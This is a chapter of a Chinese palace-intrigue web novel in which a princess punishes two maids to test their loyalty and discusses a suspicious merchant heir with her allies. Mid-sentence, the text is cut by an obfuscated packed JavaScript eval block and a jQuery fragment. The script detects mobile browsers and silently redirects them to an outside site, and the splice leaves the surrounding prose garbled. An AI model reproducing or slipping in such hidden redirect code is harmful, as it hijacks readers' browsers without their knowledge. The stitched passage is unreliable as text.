沈千灯从未这样同她们发过这么大的脾气。
“奴婢不知何罪之有,殿下息怒。”
沈千灯起身,围着二人转了一圈,慢悠悠道:“今日,我发现我少了一支金簪,平日只有你们两个收拾我的妆奁,说说,去哪了?”
“殿下说得的哪一支,可是落在哪了,奴婢们这就去找。”
“你还知道本宫是殿下啊,我看你很会揣度本宫的心意嘛,不知道的以为你把自己也当主子了呢。”沈千灯的手按住紫泱的肩膀,俯身笑道。
沈千灯的声音钻进紫泱的耳朵,让她一阵胆寒,整个人止不住的颤抖。
“殿下、殿下息怒。奴婢日后再也不敢了。”紫泱一时慌了神把头埋得更低。
“你呢,也不知吗?”
紫沅赶紧摇头,“奴婢惶恐。”
沈千灯勾起一抹笑,点点头,“不知,便先在这跪上一个时辰,若明日此时还想不起来,无需再遣你们回玉京,本宫即刻发落了你们。”
沈千灯没再多给一个眼神,一挥衣袖带着怒气离开。
*
“金簪,可是公主赠给崔柯的那一支?公主可真会睁眼说瞎话。”
沈千灯把她方才所做说与三更听,三更的注意却在那支凤翎簪上。
“三公子对一支簪子记得这么深。”沈千灯蹙眉。
“毕竟是公主的赏赐,公主出手,岂是那些俗物可比。”
“行——”沈千灯点头。
“我是明白了,说吧,你想要什么?”沈千灯一手拖着下巴,抬眼瞧着他。
“无功不受禄。我在局外替公主分析分析。”
沈千灯扬了扬下巴点头。
“拿纸笔来。”
“槐青与我几乎是同步进城,麒麟白玉是南宫云檀亲手交给我的,只能是我与她身边亲近之人传出去的。现在看来,是紫泱。我拿丢了簪子为借口,试探她紫沅紫泱是否同心。她二人是我前两年从内侍局挑的,此人的局,布了很久。”
如此看来,前世出嫁前将麒麟玉牌交还给南宫云檀,定也是在紫沅紫泱的身上出了岔子。
“至于南宫商行的账本,据我所知,如今应是由赵姨,就是楚王妃在打理,这几年,逐渐也交给云檀一些。楚王与楚王妃唯有云檀这一个女儿,南宫家嫡系再无旁人,他们断然不会害我。”沈千灯向三更解释道。
三更在纸上写下沈千灯所提到的人。
“公主就没想过这或许是楚王府自导自演的戏码?公主与南宫小姐姐妹情深,是最好利用的一环。”
毕竟天子年少,太后掌政,楚王作为异姓摄政王,南宫家族又是江南百年世家,动了改弦易辙的心思再正常不过。
“不可能!”沈千灯想都没想就否定了三更的想法。
哪怕前世楚王府的确被冠上了谋逆的罪名,沈千灯也相信是被人陷害。
以南宫瑞的势力,若是想要取而代之,何等到今日。
当初先帝重病,明懿太子遭人毒手,若非南宫瑞带头承认幼主,启国的江山早就坐不稳了。
“我只是推测,既然公主对楚王府有绝对的信任,那便再说说别的。”
三更在纸上划掉了楚王府。
“楚王妃出自菱州皇商赵家,我住的这东城四所,就是当年楚王妃在四方城选址建成的。我当年回宫时走的水路,同太后曾在菱州小住过几日,当时赵家的生意由赵姨的兄长在打理,赵家主不曾婚娶,似乎有一位从旁支过继的养子,后来我没再去过菱州,赵家的话事人有没有变动,我不甚了解,或许如今已是少东家当家。”
“不知那位少东家的名讳是?”
“好像叫赵……赵什么明。”沈千灯皱眉极力思索着。
她只记得南宫云檀唤他明哥哥。
三更在中间空下一个字,写下赵、明。
“赵聿明。”
槐青突然出现。
“我前几日在启赵商行听他们说的,赵家家主身体不好,他是如今赵家的掌事人,还领江南三州转运使一职。”
沈千灯回头,“你怎么来了?”
虽然认识不久,但槐青一贯特立独行,神龙见首不见尾,偏生槐青又做事稳妥,沈千灯索性由着她。
“我看到紫沅紫泱都跪在前院。”
她再不出现,显得玩忽职守。
槐青还从小厨房带了水果来。
“坐。”
沈千灯接过槐青手上的漆盘,一看就是槐青的刀功,连苹果都切得方方正正,不由一笑。
“你还听到他们说了什么?”
“我在铁匠铺,他们在说铁器。自赵聿明掌家之后,向兆国采买了很多铁矿石,所以他们说我去启赵商行的铁匠铺打铁是去对了地方,南宫商行也未必有他们充裕。”
幽州。
沈千灯脑海中突然蹦出这个地方。
她记得前世这一年,是兆国幽州开出了新铁矿场,幽州的铁矿石质地纯净、易熔易炼,与成国贸易了不少,兖州之战,公孙翊所造出的箭,用得就是幽州产的铁矿石。
这么看来,启国也有买主。
他买铁矿石做什么?
三更补齐了聿字,在赵聿明的名字上用朱笔画了个红圈。
“如此看来,他很可疑。”
“他们还在讨论赵聿明的婚事。”槐青补充道。
槐青在铁匠铺里,依稀听到外面在说。
“少东家下个月行冠礼,听说要议亲。”
“少东家新晋了三州转运使,家财万贯又是皇亲国戚,哪家这么有福气能把女儿嫁过去?”
“我看哪,要么是玉京里那位长公主殿下,要么是楚王殿下的爱女。再不济也是玉京贵女,菱州那些怕是攀不上赵家的门第。”
……
沈千灯忽而想起来,赵姨先前也来探过她的口风,想要给她二人做媒,被沈千灯以不肯盲婚哑嫁为理由推掉了,赵姨明白她的意思,也就没再提起过。
此人,前世今生,她都没什么印象。
“可他是赵家人,赵家与南宫家荣辱一体,休戚与共,对楚王府下手,他能有什么好处?莫不是被我与云檀接连拒亲,恼羞成怒。”沈千灯思忖。
闻言,三更抬头看向沈千灯。
看来昭宁长公主的风流韵事倒真是不少,连记不住名字
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268775|182206||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的人都与她议过亲事。。
沈千灯感受到一道不明所以的目光,瞪回去。
“看我做什么,我就是随口一说。”
铁器,不是农具就是兵戈。
四国共建四方城后久无战事,十几年来都在休养生息,此举确有疑点。
“可赵家是皇商,盐铁经营不会不与朝中报备,或许是太后的旨意也未可知。”
沈千灯又驳斥了自己的观点。
“罢了,替我修书一封问问赵姨。”
*
一个时辰说长不长,皮肉之苦在宫中的责罚中已然算轻,可说短也不短,紫沅和紫泱作为长公主身边最有头有脸的大宫女,就这样在人来人往的前院跪着被议论。
庭院中洒扫的婢女窃窃私语。
“殿下今日怎么发了这么大的火,还罚跪紫沅姐姐和紫泱姐姐!”
“快别说了,小心触了霉头。”
终于是到了时辰,紫沅和紫泱在沈千灯身边伺候也没做过什么重活,此时已是跪得泄了气,却仍是百思不得其解。
紫沅手撑着地面咬牙站起来,“殿下好端端的怎会丢了金簪?”
她们这种贴身伺候的,最重要的除了能体察主子心思,就是要手脚干净。
沈千灯平日里也没有仔细收拾钗环头面的习惯,更不用发现说缺了哪只簪子,而且她素来出手大方,这些金银俗物随手就赏了出去。
“是不是前几日殿下戴的那支凤翎簪?”紫沅思来想去也觉得只能是凤翎簪这般贵重之物才能让沈千灯如此大动干戈。
紫泱也龇牙咧嘴站起来,屈膝双手揉着膝盖。
“谁猪油蒙了心会去偷凤翎簪?”
这等精细的做工一看就是宫里贵人的东西,谁敢收,是不要命了吗?
“那殿下怎会突然如此生气,还说出那般吓人的话?”紫沅疑惑地问
“昨日大雨,殿下又未起,我一着急,就自作主张命人去遮了账本,这就触怒了殿下,我也不知……”
“殿下怎会因为这种小事与我们计较。”紫沅不相信。
“哎呀,走吧,先回去上药。”
紫泱含糊其辞没有再说。
一路上的侍女都远远避着二人,紫泱拖着腿更是恼火。
“无论如何,明日我们都得给殿下一个交代。殿下许是太过生气,才把话说得重了些。既然不是你我,不如想想谁最可疑,也好给殿下回话。”
“嘶……轻点轻点!”紫泱嚎叫道。
紫沅与紫泱在相互抹红花油,两人的膝盖都已红肿发青。
“好在只跪了一个时辰,若当真是丢了凤翎簪,我们可是要掉脑袋的……”紫沅轻声安慰道。
轮到紫泱给紫沅揉红花油,紫沅咬紧牙关紧闭双眼。
膝盖抹上红花油疼得火烧火燎。
“确实只有我二人给殿下梳妆不假,可殿下的寝卧又不是只有我二人能进。三公子、崔班主、槐青,那么多人呢!槐青!她最来路不明,升斗小民胆大包天,一定就是她偷拿的!”
紫泱还没站起来就给槐青定了罪。
“那晚些时候我们去探探她。”